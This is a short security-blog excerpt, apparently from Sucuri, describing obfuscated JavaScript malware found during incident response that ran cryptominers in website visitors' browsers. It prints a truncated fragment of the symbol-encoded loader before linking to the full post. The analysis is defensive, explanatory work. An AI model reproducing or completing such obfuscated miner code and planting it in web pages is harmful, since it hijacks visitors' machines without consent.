During an incident response investigation, we detected an interesting piece of heavily obfuscated JavaScript malware. Once decoded, we found out that cryptominers were running on visitor’s computers when they accessed our customer’s website.

We have previously discussed how cryptomining can happen in many covert ways. In this post, we will show you how a malicious code can create a cryptominer.

Malware that Creates Cryptominer Code

Take a look at the following malware:

$=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)
[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)
[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+
($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)
[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)
[$.$_][$.$_];$.$($.$($.$$+”””+”\”+$.__$+$.$$_+$.$$_+$.$_$_.

Continue reading Obfuscated JavaScript Cryptominer at Sucuri Blog.

Via Sucuri.net